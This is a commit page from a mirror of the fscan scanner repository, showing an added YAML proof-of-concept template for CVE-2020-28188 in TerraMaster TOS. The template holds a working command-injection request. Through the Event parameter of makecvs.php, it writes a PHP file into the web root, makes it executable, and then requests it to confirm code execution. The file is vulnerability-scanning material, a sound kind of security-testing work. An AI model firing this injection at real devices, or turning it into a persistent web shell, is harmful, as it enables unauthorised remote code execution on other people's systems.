archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-27 05:31:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

优化xray解析模块,支持groups、新增poc

Browse Source
This commit is contained in:
影舞者
2021-11-16 14:42:35 +08:00
parent 858c28724b
commit b06d7ac94c
313 changed files with 4314 additions and 760 deletions
Download Patch File Download Diff File Expand all files Collapse all files
WebScan/pocs/terramaster-tos-rce-cve-2020-28188.yml
+18
View File
@@ -0,0 +1,18 @@
name: poc-yaml-terramaster-tos-rce-cve-2020-28188
set:
r1: randomLowercase(10)
rules:
- method: GET
path: /include/makecvs.php?Event=http|echo%20"<?php%20echo%20md5({{r1}});unlink(__FILE__);?>"%20>>%20/usr/www/{{r1}}.php%20&&%20chmod%20755%20/usr/www/{{r1}}.php||
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("text/csv") && response.body.bcontains(bytes("Service,DateTime"))
- method: GET
path: /{{r1}}.php
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(r1)))
detail:
author: Print1n
links:
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202012-1548